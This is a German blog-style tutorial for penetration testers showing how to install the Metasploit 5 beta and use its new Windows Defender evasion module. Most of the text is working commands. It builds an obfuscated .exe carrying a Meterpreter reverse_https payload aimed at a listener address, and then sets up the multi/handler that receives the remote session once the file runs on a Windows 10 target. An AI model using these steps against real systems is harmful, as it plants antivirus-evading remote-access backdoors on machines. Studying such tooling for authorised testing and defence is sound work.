Es ist ein ständiges Katz-und-Maus-Spiel, das sich die Entwickler von Virenschutzlösungen und Penetrationstester liefern. Die Zeiten, in denen Antiviruslösungen auf rein signaturbasierenden Prüfungen setzten, sind längst vorbei. Moderne Programme verfügen über verhaltens- und cloudbasierte Erkennungen, Heuristik und Sandboxen.
Aus Sicht der Penetrationstester gibt es mehrere Ansätze, um Virenschutzlösungen zu umgehen. In der Vergangenheit flossen diese Techniken in Programme wie z.B. Veil-Evasion, msfvenom (Metasploit Framework) und dem Empire Framework ein.
Wer sich umfassend mit der Materie befasst wird feststellen, dass der Defender in Windows 10 die Erkennungsrate deutlich erhöht hat. Auch die früher so einfach durchzuführenden Angriffe mittels Powershell laufen immer öfter ins Leere. In vielen Fällen wird schon der erzeugte Payload vom Defender als Schadcode eingestuft und nicht ausgeführt.
Mit Metasploit 5 läutet Rapid7 in diesem Wettkampf eine neue Runde ein. In der Betaversion des Frameworks stellen die Entwickler ein neues Modul vor, dass bekannte Techniken mit neuen Ansätzen kombiniert. So wird die zukünftige Version einen C Compiler enthalten, der direkt aus Metaploit aufgerufen werden kann. Außerdem wird der so erzeugte Quellcode nach dem Zufallsprinzip generiert, verschlüsselt und mit weiteren Verschleierungstechniken angereichert.
Die so generierte Windows PE- Datei (.exe) lässt sich sofort auf dem Zielsystem einsetzen und mit den bekannten Payloads (z.B. Meterpreter) und Ressource-Dateien kombinieren.
In diesem Beitrag zeige ich, wie Sie Metasploit 5 in der Beta-Version installieren und das neue Module anwenden.
Metasploit 5 – Beta installieren
Wer die neue Version vor dem Erscheinen ausprobieren möchte, der kann dies über den Nightly Installer oder auch über das Metasploit-Framework Omnibus Project tun.
Nightly Installer
Der Nightly Installer ist für die Betriebsysteme Linux/macOS und Windows verfügbar. Unter Linux führen Sie folgende Befehle in der Konsole aus:
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall &&
chmod 755 msfinstall &&
./msfinstall
Omnibus Project
sudo apt-get -y install build-essential git ruby bundler ruby-dev bison flex autoconf automake libncurses5-dev
sudo mkdir -p /var/cache/omnibus
sudo mkdir -p /opt/metasploit-framework
sudo chown -R user:user /var/cache/omnibus
sudo chown -R user:user /opt/metasploit-framework
git config --global user.name "Nutzername"
git config --global user.email "ihre@email.com"
git clone https://github.com/rapid7/metasploit-omnibus.git
cd metasploit-omnibus
bundle install --binstubs
bin/omnibus build metasploit-framework
/home/user/metasploit-omnibus/pkg
Zur Installation des Metasploit-Frameworks führen Sie diesen Befehl aus:
dpkg -i metasploit-framework_XXXXX_amd64.deb
Sie starten die Metasploit-Konsole mit dem bekannten Befehl msfconsole. Beim ersten Aufruf wird die Datenbank eingerichtet und weitere Einstellungen vorgenommen. Übernehmen Sie hier einfach die vorgegebenen Werte.
Evasion-Payload erstellen
Am einfachsten nutzen Sie nun den Search-Befehl, um die neuen Module zu finden. Folgendes Kommando hilft hier schnell weiter:
search name:defender
Mit den folgenden Kommandos erstellen Sie eine exe-Datei, die den Payload windows/meterpreter/reverse_https enthält.
use evasion/windows/windows_defender_exe
set payload windows/meterpreter/reverse_https
set lhost 192.168.171.246
run
Eingehende Sessions empfangen
In diesem speziellen Fall wurde die Datei DgPLoUJc.exe erzeugt, die nun auf das zu penetrierende System übertragen werden muss.
Im letzen Schritt benötigen Sie einen Handler, der die eingehenden Daten vom Zielsystem empfängt. Er wird mit folgenden Befehlen erstellt:
use multi/handler
set payload windows/meterpreter/reverse_https
set lhost 0.0.0.0
exploit -j
Wird die Datei auf dem Windows10-PC ausgeführt…
… so erhalten Sie eine Meterpreter-Session.